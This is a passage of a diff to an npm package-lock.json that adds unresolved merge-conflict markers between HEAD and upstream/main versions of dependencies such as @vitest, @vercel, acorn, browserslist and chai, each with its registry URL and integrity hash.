"sha512-lae0iWfcDeR7qt7rA88BNiqdvPS5pFVPpo5OfjElwNaT2yyekbM0C9vK+yqBqEmHr6lDkRnYNoTBYlAgJa7a4w==", +======= "version": "3.2.0", "resolved": "https://registry.npmjs.org/@types/d3-shape/-/d3-shape-3.2.0.tgz", "integrity": "sha512-kVd74ta9eof3eJOvbNd1vGKS/XERRyQbT26Og63hIsvDO84cjD5gEOhsXf26w3FSoNlPVz84DOFcKv/oou+fMw==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "@types/d3-path": "*" @@ -5386,9 +6786,15 @@ "license": "MIT" }, "node_modules/@types/semver": { +<<<<<<< HEAD + "version": "7.7.1", + "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.7.1.tgz", + "integrity": "sha512-FmgJfu+MOcQ370SD0ev7EI8TlCAfKYU+B4m5T3yXc1CiRN94g/SZPtsCkk506aUDtlMnFZvasDwHHUcZUEaYuA==", +======= "version": "7.8.0", "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.8.0.tgz", "integrity": "sha512-1mAINjtQCXXeLkJ9ehXkwOcBpqtLxiVtKhpUf83DdRNdQKV0iXZpaHYqRr7nj+wvxuJzoAmAwXI+sCNMv1CzLQ==", +>>>>>>> upstream/main "dev": true, "license": "MIT" }, @@ -5456,6 +6862,22 @@ } } }, +<<<<<<< HEAD + "node_modules/@typescript-eslint/eslint-plugin/node_modules/semver": { + "version": "7.8.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz", + "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, +======= +>>>>>>> upstream/main "node_modules/@typescript-eslint/parser": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-7.2.0.tgz", @@ -5564,6 +6986,22 @@ "url": "https://opencollective.com/typescript-eslint" } }, +<<<<<<< HEAD + "node_modules/@typescript-eslint/parser/node_modules/semver": { + "version": "7.8.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz", + "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, +======= +>>>>>>> upstream/main "node_modules/@typescript-eslint/scope-manager": { "version": "6.21.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-6.21.0.tgz", @@ -5653,6 +7091,22 @@ } } }, +<<<<<<< HEAD + "node_modules/@typescript-eslint/typescript-estree/node_modules/semver": { + "version": "7.8.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz", + "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, +======= +>>>>>>> upstream/main "node_modules/@typescript-eslint/utils": { "version": "6.21.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-6.21.0.tgz", @@ -5679,6 +7133,22 @@ "eslint": "^7.0.0 || ^8.0.0" } }, +<<<<<<< HEAD + "node_modules/@typescript-eslint/utils/node_modules/semver": { + "version": "7.8.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz", + "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, +======= +>>>>>>> upstream/main "node_modules/@typescript-eslint/visitor-keys": { "version": "6.21.0", "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-6.21.0.tgz", @@ -5698,9 +7168,15 @@ } }, "node_modules/@ungap/structured-clone": { +<<<<<<< HEAD + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.3.2.tgz", + "integrity": "sha512-5jsZFwgR5rTdKwidH9Qmat75RKwqfpKlWWB1frDkljN127mwqBu8K0PYo7/hFpF03IEJpfVPpCQDY/eDx3iHvA==", +======= "version": "1.4.0", "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.4.0.tgz", "integrity": "sha512-1mEZtMKPM09vDmQt5y7YvmN2+DFTP7Tg0EWXdic8/C6VRnpb33e4ghisCIE3WZjsE2N8mf+QV1Zqh7ZFYLWInQ==", +>>>>>>> upstream/main "license": "ISC" }, "node_modules/@unrs/resolver-binding-android-arm-eabi": { @@ -6017,9 +7493,15 @@ ] }, "node_modules/@vercel/blob": { +<<<<<<< HEAD + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/@vercel/blob/-/blob-2.6.1.tgz", + "integrity": "sha512-KTJytw85j1XQBxjN5d6UXI7fIWNQe1jotn4nWN+0hePqLs+Qi1B3jHdQcSKFGF0m2rsy9uhPT6GOXMtHe3qNzg==", +======= "version": "2.8.1", "resolved": "https://registry.npmjs.org/@vercel/blob/-/blob-2.8.1.tgz", "integrity": "sha512-QFX17sMRoBnPuNyHsQsY5GsYRg9HoE8yGKKbfB/V/JK9QuyQp10R5qeNntT6EgUJ4cQ3R+sH26n5l/LacfzzEw==", +>>>>>>> upstream/main "license": "Apache-2.0", "dependencies": { "@vercel/oidc": "^3.6.1", @@ -6033,10 +7515,26 @@ "node": ">=20.0.0" } }, +<<<<<<< HEAD + "node_modules/@vercel/blob/node_modules/undici": { + "version": "6.28.0", + "resolved": "https://registry.npmjs.org/undici/-/undici-6.28.0.tgz", + "integrity": "sha512-LIY910g9TI13YS95lrMFrs8Rm/u/irgHeTWoKCoteeJ04CUJ92eEfj0rVn+7VKMPBpUPiUoBKfhNyLI23EE/KA==", + "license": "MIT", + "engines": { + "node": ">=18.17" + } + }, + "node_modules/@vercel/cli-config": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/@vercel/cli-config/-/cli-config-0.2.1.tgz", + "integrity": "sha512-RhfyXmRLHdbnry8RJqHDc+5rGxMZ0bu+fpysZjtv3bE+BubpuwxTancHOKiH5zKQREsdwFVr3mOI2kOvxlOyxA==", +======= "node_modules/@vercel/cli-config": { "version": "0.3.1", "resolved": "https://registry.npmjs.org/@vercel/cli-config/-/cli-config-0.3.1.tgz", "integrity": "sha512-sISbygqlFXYb8qfPu/+2Cf/A8IjrlAuZePdag3EDQr2PRA455s7UZtl9Ro674CWsB/saBRmz3jEkw0YsQs8OoQ==", +>>>>>>> upstream/main "license": "Apache-2.0", "dependencies": { "xdg-app-paths": "5", @@ -6053,9 +7551,15 @@ } }, "node_modules/@vercel/cli-exec": { +<<<<<<< HEAD + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@vercel/cli-exec/-/cli-exec-1.0.0.tgz", + "integrity": "sha512-kQF8LGie/Hbdq9/psJxLE7owRTcqMQMhgybU04gCeR7cbQAr5t8OrjefDNColJv1QSSucFt4pLwRiARVmlOnug==", +======= "version": "1.0.1", "resolved": "https://registry.npmjs.org/@vercel/cli-exec/-/cli-exec-1.0.1.tgz", "integrity": "sha512-g9XerViJ/paZujufXYcu5XYI2vU2rtB4sgdpjUHde5RnOkdmpu0ngH46LCFGHoPXO/C+qDPSczIHIRN+8Q2YKQ==", +>>>>>>> upstream/main "license": "Apache-2.0", "dependencies": { "execa": "5.1.1" @@ -6065,6 +7569,15 @@ } }, "node_modules/@vercel/oidc": { +<<<<<<< HEAD + "version": "3.8.1", + "resolved": "https://registry.npmjs.org/@vercel/oidc/-/oidc-3.8.1.tgz", + "integrity": "sha512-ufdalm2MWOYksyj8KVpWjoOFPJO6zoYpuyvIggIQ2bB0CFCjTCiTkGXHqAKwG77GVRjOaN3/8S5ITlZpXWmqOw==", + "license": "Apache-2.0", + "dependencies": { + "@vercel/cli-config": "0.2.1", + "@vercel/cli-exec": "1.0.0", +======= "version": "3.8.10", "resolved": "https://registry.npmjs.org/@vercel/oidc/-/oidc-3.8.10.tgz", "integrity": "sha512-sPw1kIfQEA6/2dB+zlAJHnhhNBRJ8t/t4HfFvKO+g0EPBA7NbCKyGovuhgAV6Mnl865ka7HqCEguIy596czdAw==", @@ -6072,6 +7585,7 @@ "dependencies": { "@vercel/cli-config": "0.3.1", "@vercel/cli-exec": "1.0.1", +>>>>>>> upstream/main "jose": "^5.9.6" }, "engines": { @@ -6079,9 +7593,15 @@ } }, "node_modules/@vitejs/plugin-react": { +<<<<<<< HEAD + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-6.0.3.tgz", + "integrity": "sha512-vmFvco5/QuC2f9Oj+wTk0+9XeDFkHxSamwZKYc7MxYwKICfvUvlMhqKI0VuICPltGqh1neqBKDvO4kes1ya8vg==", +======= "version": "6.1.2", "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-6.1.2.tgz", "integrity": "sha512-fhJNGUdscQa4HkI0xFxwonWyhnVReCPDbXI7FH7jmzpnVCrFQI7PRrhWecO263610vOrs9tr2Y4xcf8uAdFxbw==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "dependencies": { @@ -6093,7 +7613,10 @@ "peerDependencies": { "@rolldown/plugin-babel": "^0.1.7 || ^0.2.0", "babel-plugin-react-compiler": "^1.0.0", +<<<<<<< HEAD +======= "oxc-transform-react": "^0.152.0", +>>>>>>> upstream/main "vite": "^8.0.0" }, "peerDependenciesMeta": { @@ -6102,23 +7625,37 @@ }, "babel-plugin-react-compiler": { "optional": true +<<<<<<< HEAD +======= }, "oxc-transform-react": { "optional": true +>>>>>>> upstream/main } } }, "node_modules/@vitest/expect": { +<<<<<<< HEAD + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.1.9.tgz", + "integrity": "sha512-vl/rYsUKcBr3SnQn166+XR5ZQcgMx3DQhFWdfli/cWpLnLUmbxZvyrJZotLFUryib+LtArYMSTJ5RbQ57ZqrlA==", +======= "version": "4.1.11", "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.1.11.tgz", "integrity": "sha512-VX2x5vNJXET47KAFzwERI+KRMtTTCSWTfSMKsW7JsUsXV4psq++e3DvZpuTDOpHcxytiDs6p2nhVb2tVDiiUYw==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "dependencies": { "@standard-schema/spec": "^1.1.0", "@types/chai": "^5.2.2", +<<<<<<< HEAD + "@vitest/spy": "4.1.9", + "@vitest/utils": "4.1.9", +======= "@vitest/spy": "4.1.11", "@vitest/utils": "4.1.11", +>>>>>>> upstream/main "chai": "^6.2.2", "tinyrainbow": "^3.1.0" }, @@ -6127,6 +7664,15 @@ } }, "node_modules/@vitest/mocker": { +<<<<<<< HEAD + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.1.9.tgz", + "integrity": "sha512-EVkXzBjrPGM+cK8/ANWgBrkUCfJfb38/EfTSO8h7pWvKkyPkpWxvR7BkD2MyItMF62C97zAEoqdpUixwR/e+Rw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/spy": "4.1.9", +======= "version": "4.1.11", "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.1.11.tgz", "integrity": "sha512-2XJVD55d1o5AZous5CCGKS74g/riOj9odEt2bQpCVZeblHyHdnMeFl4jl0XjU21stf4mbjUkew2eXQZt65g5CQ==", @@ -6134,6 +7680,7 @@ "license": "MIT", "dependencies": { "@vitest/spy": "4.1.11", +>>>>>>> upstream/main "estree-walker": "^3.0.3", "magic-string": "^0.30.21" }, @@ -6164,9 +7711,15 @@ } }, "node_modules/@vitest/pretty-format": { +<<<<<<< HEAD + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.9.tgz", + "integrity": "sha512-s0iufns3iIFitdgm+YR7g1whCAaGtXz459VS9/PqyKDEEFgYIhsHOQmXgIgDuYCt7DeQmiZT0Qe2OA2p4ZPu5A==", +======= "version": "4.1.11", "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.11.tgz", "integrity": "sha512-yiZzPbGTS9Sr/JpFl8zHrcIkAofNbFV6k21vIgQN/cY/oxZeXhJv5sc/MBJ5jFKWmWs+oJHw0UXLZjmf931+Vw==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "dependencies": { @@ -6177,6 +7730,15 @@ } }, "node_modules/@vitest/runner": { +<<<<<<< HEAD + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.9.tgz", + "integrity": "sha512-KXLMDtc7oe70+3mJfGrPUWPesswH+3sTxAMAMl8DG7I8IUQT4XW718dY5ID3vPUcmlu27CcKfY4P3h3I29SLJg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/utils": "4.1.9", +======= "version": "4.1.11", "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.11.tgz", "integrity": "sha512-LztvUgdwMNJMIkj3hQnnxiC2Xy1zNxq928W/xhjCLaNCzqTZOudjwbQf6v9IntZGPw132i2Lq2rgTRZHD3JHNw==", @@ -6184,6 +7746,7 @@ "license": "MIT", "dependencies": { "@vitest/utils": "4.1.11", +>>>>>>> upstream/main "pathe": "^2.0.3" }, "funding": { @@ -6191,6 +7754,16 @@ } }, "node_modules/@vitest/snapshot": { +<<<<<<< HEAD + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.9.tgz", + "integrity": "sha512-Jc7RKGNBo8Z28WYIm0Niej4xdSPByRf6mU58VpHQkd6Zh05rlnA+twjbK5HyeIGHxrzsc3mJgS43uM0CZKzaIA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/pretty-format": "4.1.9", + "@vitest/utils": "4.1.9", +======= "version": "4.1.11", "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.11.tgz", "integrity": "sha512-pN7ikn1ON7h8ee4gIAp4AzyK+zBtJPzVbqOgu5LCEh4VaJVbPQcgYQYJIMGQPXVeJJq1fnfazis7a5pFNPahog==", @@ -6199,6 +7772,7 @@ "dependencies": { "@vitest/pretty-format": "4.1.11", "@vitest/utils": "4.1.11", +>>>>>>> upstream/main "magic-string": "^0.30.21", "pathe": "^2.0.3" }, @@ -6207,9 +7781,15 @@ } }, "node_modules/@vitest/spy": { +<<<<<<< HEAD + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.1.9.tgz", + "integrity": "sha512-fHpsS6mIi+PiEW+vcRVOMkX1oSaPKne3VOclSFICPcGOmfKgXPU5iAah+wcNcj2xPrCCmfq99IDGf+EojhhvhA==", +======= "version": "4.1.11", "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.1.11.tgz", "integrity": "sha512-apNa/prQy2qCeywhnixOHPRCgGNhvg7T4Dapfl1GahLp/R+uhBm5cPyFoNVyqsNd2h1nJxL6BqqdIjiABL60YA==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "funding": { @@ -6217,6 +7797,15 @@ } }, "node_modules/@vitest/utils": { +<<<<<<< HEAD + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.9.tgz", + "integrity": "sha512-A51o8ymO5PpqlWNnBP9ZHPXDIpuMtTLlGSjN7la4US+LJzoUMyhwjA5QXlm39JexgwHKW4Xjs8Z2d3dLCXOeuA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/pretty-format": "4.1.9", +======= "version": "4.1.11", "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.11.tgz", "integrity": "sha512-zTCVGpyFsGWBhllOyKlTw/vnr6D9qxsfSDyfbyZmTyjHw5N/VuvzHpHoQjm2ZJzn4RJgx5w4r7V0er69CmLgPQ==", @@ -6224,6 +7813,7 @@ "license": "MIT", "dependencies": { "@vitest/pretty-format": "4.1.11", +>>>>>>> upstream/main "convert-source-map": "^2.0.0", "tinyrainbow": "^3.1.0" }, @@ -6238,9 +7828,15 @@ "license": "MIT" }, "node_modules/acorn": { +<<<<<<< HEAD + "version": "8.17.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.17.0.tgz", + "integrity": "sha512-xRQbDb9BnwDafYNn6Vwl839DYVjqXYb1XVGtWAZ1kcDc6iwAL4hg3B1dZlRiuENFeO2H53gFG3in621AdERVAg==", +======= "version": "8.19.0", "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.19.0.tgz", "integrity": "sha512-oJlA3XiRm7Cyk6qFD2Jn8ak9B7jSy0qy00ADO3+8dpT0LSjFihQYv4C02LFCSYJV3Q37xYwwRy5m+IpIiUzqWw==", +>>>>>>> upstream/main "license": "MIT", "bin": { "acorn": "bin/acorn" @@ -6249,6 +7845,18 @@ "node": ">=0.4.0" } }, +<<<<<<< HEAD + "node_modules/acorn-import-attributes": { + "version": "1.9.5", + "resolved": "https://registry.npmjs.org/acorn-import-attributes/-/acorn-import-attributes-1.9.5.tgz", + "integrity": "sha512-n02Vykv5uA3eHGM/Z2dQrcD56kL8TyDb2p1+0P83PClMnC/nc+anbQRhIOWnSq4Ke/KvDPrY3C9hDtC/A3eHnQ==", + "license": "MIT", + "peerDependencies": { + "acorn": "^8" + } + }, +======= +>>>>>>> upstream/main "node_modules/acorn-jsx": { "version": "5.3.2", "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", @@ -6449,6 +8057,15 @@ "license": "Python-2.0" }, "node_modules/aria-query": { +<<<<<<< HEAD + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.2.tgz", + "integrity": "sha512-COROpnaoap1E2F000S62r6A60uHZnmlvomhfyT2DlTcrY1OrBKn2UhH7qn5wTC9zMvD0AY7csdPSNwKP+7WiQw==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">= 0.4" +======= "version": "5.3.0", "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.0.tgz", "integrity": "sha512-b0P0sZPKtyu8HkeRAfCq0IfURZK+SuwMjY1UXGBU27wpAiTwQAIlq56IbIO+ytk/JjS1fMR14ee5WBBfKi5J6A==", @@ -6456,6 +8073,7 @@ "license": "Apache-2.0", "dependencies": { "dequal": "^2.0.3" +>>>>>>> upstream/main } }, "node_modules/array-buffer-byte-length": { @@ -6475,6 +8093,20 @@ } }, "node_modules/array-includes": { +<<<<<<< HEAD + "version": "3.1.9", + "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.9.tgz", + "integrity": "sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "define-properties": "^1.2.1", + "es-abstract": "^1.24.0", + "es-object-atoms": "^1.1.1", + "get-intrinsic": "^1.3.0", +======= "version": "3.2.0", "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.2.0.tgz", "integrity": "sha512-VXY5eFRarnXcYxwBjJzPmEhH55+rmP79/+ueDhi0F+TuqfHCItagIHqxeUZrmgrOPa31QTh9H85DjX3FfJ0FTg==", @@ -6487,6 +8119,7 @@ "es-abstract": "^1.24.2", "es-object-atoms": "^1.1.2", "es-shim-unscopables": "^1.1.0", +>>>>>>> upstream/main "is-string": "^1.1.1", "math-intrinsics": "^1.1.0" }, @@ -6655,6 +8288,18 @@ "dev": true, "license": "MIT" }, +<<<<<<< HEAD + "node_modules/astring": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/astring/-/astring-1.9.0.tgz", + "integrity": "sha512-LElXdjswlqjWrPpJFg1Fx4wpkOCxj1TDHlSV4PlaRxHGWko024xICaa97ZkMfs6DRKlCguiAI+rbXv5GWwXIkg==", + "license": "MIT", + "bin": { + "astring": "bin/astring" + } + }, +======= +>>>>>>> upstream/main "node_modules/async": { "version": "3.2.6", "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz", @@ -6695,9 +8340,15 @@ } }, "node_modules/autoprefixer": { +<<<<<<< HEAD + "version": "10.5.2", + "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.5.2.tgz", + "integrity": "sha512-rD5t5DwOjJdmSORcTq64j8MawTC+tbQ+HHqjR4NDumamy/ambn1UJrlKL+KdwujWxMkFjPM3pPHOEA9tl4767Q==", +======= "version": "10.6.1", "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.6.1.tgz", "integrity": "sha512-cL1Qz6ADZhcEbny/8HPfe99J6HhNoYtpX2LFLIbhgGE7Q1hlQVkYFdetDN7Id3KiQxhDrHwzlHr/YQCnZ8+xSA==", +>>>>>>> upstream/main "dev": true, "funding": [ { @@ -6715,8 +8366,13 @@ ], "license": "MIT", "dependencies": { +<<<<<<< HEAD + "browserslist": "^4.28.4", + "caniuse-lite": "^1.0.30001799", +======= "browserslist": "^4.28.9", "caniuse-lite": "^1.0.30001810", +>>>>>>> upstream/main "fraction.js": "^5.3.4", "picocolors": "^1.1.1", "postcss-value-parser": "^4.2.0" @@ -6747,9 +8403,15 @@ } }, "node_modules/axe-core": { +<<<<<<< HEAD + "version": "4.12.1", + "resolved": "https://registry.npmjs.org/axe-core/-/axe-core-4.12.1.tgz", + "integrity": "sha512-s7iGf5GaVMxEG0ENN9x+xTr7GFZCb1ZP/1uATUpCEK2X78nDB3RwbtFCo9pGAf9ru+VwoQ464DkaLEeRM08wJA==", +======= "version": "4.14.0", "resolved": "https://registry.npmjs.org/axe-core/-/axe-core-4.14.0.tgz", "integrity": "sha512-9WTZxEjsZ7b13TH8JPmbV2z8CHbl80/2hm3XPEG4JgNdQLK81IBRXmSxHfMAOkSqQeRxT/0dwNDz2GOm3zzpcQ==", +>>>>>>> upstream/main "dev": true, "license": "MPL-2.0", "engines": { @@ -6801,6 +8463,8 @@ "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, +<<<<<<< HEAD +======= "node_modules/babel-plugin-polyfill-corejs2/node_modules/semver": { "version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", @@ -6810,6 +8474,7 @@ "semver": "bin/semver.js" } }, +>>>>>>> upstream/main "node_modules/babel-plugin-polyfill-corejs3": { "version": "0.14.2", "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.14.2.tgz", @@ -6871,9 +8536,15 @@ } }, "node_modules/bare-module-resolve": { +<<<<<<< HEAD + "version": "1.12.4", + "resolved": "https://registry.npmjs.org/bare-module-resolve/-/bare-module-resolve-1.12.4.tgz", + "integrity": "sha512-xcfgg2u7HqgJiBmah71O9vvdFAgHCvkqC/WSC2O7Bbgosoc1eC/BWe/6IDJ4OsfKlkxuvC/TDWXC+oH5yeW8mA==", +======= "version": "1.12.5", "resolved": "https://registry.npmjs.org/bare-module-resolve/-/bare-module-resolve-1.12.5.tgz", "integrity": "sha512-VOncxVvVk8SQVw9vhcBnoTJD/74aR5DgdRPCm0gQ7uB5MsWpBJnoCeJrwEHKiz09O83ndf3NTjsz3LEuFxAq5A==", +>>>>>>> upstream/main "license": "Apache-2.0", "optional": true, "dependencies": { @@ -6934,9 +8605,15 @@ "license": "MIT" }, "node_modules/baseline-browser-mapping": { +<<<<<<< HEAD + "version": "2.11.21", + "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.11.21.tgz", + "integrity": "sha512-uh8vpY/1/YyFkunIDFH/12p7/7VdPKA1hejMVEbdkEaWnUz0Hesvx5EbiU6XxjyHZIOju+ZMbQJkRh+es3/spQ==", +======= "version": "2.11.27", "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.11.27.tgz", "integrity": "sha512-ElY12DaROGuan+lMmZ8Cvo/ZUbXPe7Enc/9VU/b1T3Kp4dwytRcNdR8DoSJN5SNJT/CuvcCA0DHDVmMOCePdRQ==", +>>>>>>> upstream/main "license": "Apache-2.0", "bin": { "baseline-browser-mapping": "dist/cli.cjs" @@ -6946,9 +8623,15 @@ } }, "node_modules/bidi-js": { +<<<<<<< HEAD + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/bidi-js/-/bidi-js-1.0.3.tgz", + "integrity": "sha512-RKshQI1R3YQ+n9YJz2QQ147P66ELpa1FQEg20Dk8oW9t2KgLbpDLLp9aGZ7y8WHSshDknG0bknqGw5/tyCs5tw==", +======= "version": "1.1.0", "resolved": "https://registry.npmjs.org/bidi-js/-/bidi-js-1.1.0.tgz", "integrity": "sha512-fX1Onk0tdVPC7obPWB5EbJ1z7NVhLq4m2xZLq2YXBkxzMXIGRpNMU88n0EPgWseKl12J7zXs7qrDxPK4sRs2fg==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "require-from-string": "^2.0.2" @@ -7036,12 +8719,15 @@ "integrity": "sha512-iD3898SR7sWVRHbiQv+sHUtHnMvC1o3nW5rAcqnq3uOn07DSAppZYUkIGslDz6gXC7HfunPe7YVBgoEJASPcHA==", "license": "MIT" }, +<<<<<<< HEAD +======= "node_modules/bmp-js": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/bmp-js/-/bmp-js-0.1.0.tgz", "integrity": "sha512-vHdS19CnY3hwiNdkaqk93DvjVLfbEcI8mys4UjuWrlX1haDmroo8o4xCzh4wD6DGV6HxRCyauwhHRqMTfERtjw==", "license": "MIT" }, +>>>>>>> upstream/main "node_modules/bn.js": { "version": "4.12.5", "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.5.tgz", @@ -7049,9 +8735,15 @@ "license": "MIT" }, "node_modules/brace-expansion": { +<<<<<<< HEAD + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.1.tgz", + "integrity": "sha512-WR1cURNjuvBLMZBMbqM0UoE+WAfdUcEV1ccD8PVBVOI+Z3ND4+SZbN8RsfT2bMuG1qwz5RFvPukSZm5fF2D5eA==", +======= "version": "2.1.7", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.7.tgz", "integrity": "sha512-uZbew1NqdmPDTMJ8ah1y+b+9QEJrfkXFk3RcTQw3X0jW/xRUvFKsg1CfQdSYGdTbXZWExtU3J3ccxtnfw1Fi0g==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "balanced-match": "^1.0.0" @@ -7088,9 +8780,15 @@ } }, "node_modules/browserslist": { +<<<<<<< HEAD + "version": "4.28.9", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.9.tgz", + "integrity": "sha512-EWazOblFYUvlGZcfGhPUPmYh3nikUxBVb+y9MJun5f3hBi812X+8MSQTujLBtgK3cf51fJWbWfOjyeO954d+Eg==", +======= "version": "4.29.3", "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.29.3.tgz", "integrity": "sha512-1R4kiYKXGViqEN0CnoDrXc1StD9niAwu+j2dukWzrD4bJgsD4lDmEp0CRbc6E/vYJIfTHwPmwyaKtVSudICdPA==", +>>>>>>> upstream/main "funding": [ { "type": "opencollective", @@ -7107,11 +8805,19 @@ ], "license": "MIT", "dependencies": { +<<<<<<< HEAD + "baseline-browser-mapping": "^2.11.20", + "caniuse-lite": "^1.0.30001810", + "electron-to-chromium": "^1.5.420", + "node-releases": "^2.0.54", + "update-browserslist-db": "^1.3.2" +======= "baseline-browser-mapping": "^2.11.26", "caniuse-lite": "^1.0.30001813", "electron-to-chromium": "^1.5.439", "node-releases": "^2.0.57", "update-browserslist-db": "^1.3.3" +>>>>>>> upstream/main }, "bin": { "browserslist": "cli.js" @@ -7270,9 +8976,15 @@ } }, "node_modules/caniuse-lite": { +<<<<<<< HEAD + "version": "1.0.30001810", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001810.tgz", + "integrity": "sha512-TITQPUkaz+aVk5GL6NhOdwk1aEaNTSDPsGFWrTuhKGtjTF70jL/Oht2W4c6rXUe5fu7Ie19VIahAXHIIiWWNeg==", +======= "version": "1.0.30001815", "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001815.tgz", "integrity": "sha512-uDybUEyfgbyJJ93J1vikTylBX31AkdVYeVPeffMQpf8XN7hSfr0oZOn4VFOIMNvtU5+rHvC5Udg2TgtJKHm23Q==", +>>>>>>> upstream/main "funding": [ { "type": "opencollective", @@ -7310,9 +9022,15 @@ } }, "node_modules/chai": { +<<<<<<< HEAD + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/chai/-/chai-6.2.2.tgz", + "integrity": "sha512-NUPRluOfOiTKBKvWPtSD4PhFvWCqOi0BGStNWs57X9js7XGTprSmFoz5F0tWhR4WPjNeR9jXqdC7/UpSJTnlRg==", +======= "version": "6.3.0", "resolved": "https://registry.npmjs.org/chai/-/chai-6.3.0.tgz", "integrity": "sha512-XWAtwJ6OHO+tj0EKCs0Y2UamnyOxseZWltU4x2U2wh8g4AigdjwvtUjvLP2tqkA/avxHEtzxNaqGq/YGNwckKg==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "engines": { @@ -7427,9 +9145,15 @@ 